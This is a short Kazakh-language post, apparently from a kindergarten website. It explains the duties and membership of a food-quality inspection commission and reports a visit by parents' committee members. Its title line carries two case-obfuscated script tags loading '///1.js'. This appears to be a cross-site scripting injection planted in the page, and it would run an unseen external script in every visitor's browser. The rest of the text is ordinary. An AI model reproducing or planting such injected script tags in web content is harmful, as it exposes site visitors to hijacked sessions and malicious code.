Бракераждық комиссия<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

04.12.2024

Балабақшадағы бракераждық комиссия – бұл балалардың денсаулығы мен қауіпсіздігін қамтамасыз ету мақсатында тамақ өнімдерінің сапасын және тамақтану процесінің санитарлық талаптарға сәйкестігін қадағалайтын арнайы орган.

Бракераждық комиссияның негізгі міндеттері:

1. Тамақ өнімдерін тексеру:

Балабақшаға жеткізілетін азық-түліктің сапасын және жарамдылық мерзімін бақылау.

Өнімдердің сертификаттары мен ветеринарлық құжаттарын тексеру.

2. Дайын тағамдарды бақылау:

Тағамның органолептикалық қасиеттерін (дәмі, түсі, консистенциясы, иісі) бағалау. Тағамдардың белгіленген мәзірге сәйкестігін қадағалау.

3. Санитарлық нормаларды сақтау:

Ас дайындау бөлмелерінің тазалығын тексеру.

Тамақ дайындайтын және таратуға қатысатын қызметкерлердің санитарлық кітапшаларын және гигиеналық нормаларды сақтауын қадағалау.

4. Құжаттама жүргізу:

Өткізілген тексерулердің нәтижелерін арнайы бракераж журналында тіркеу.

Анықталған бұзушылықтарды жою бойынша ұсыныстар жасау.

Комиссияның құрамына кімдер кіреді?

Әдетте, комиссия құрамында:

Меңгеруші немесе оның орынбасары,

Медбике

Аспазшы немесе азық-түлік қоймасының жауапты қызметкері.

Ата-аналар комитетінің өкілі біздің балабақшамызда болды.

🖇️Бүгін бөбекжайымызда бракераждық комиссия ата-аналар комитетінен құралып, балалардың денсаулығы мен қауіпсіздігін қамтамасыз ету мақсатында тамақ өнімдерінің сапасын және оның жасалу процесін сонымен қатар балалардың тамақтануын бақылып, талаптарға сәйкестігін қадағалап өз пікірлерін қалдырды.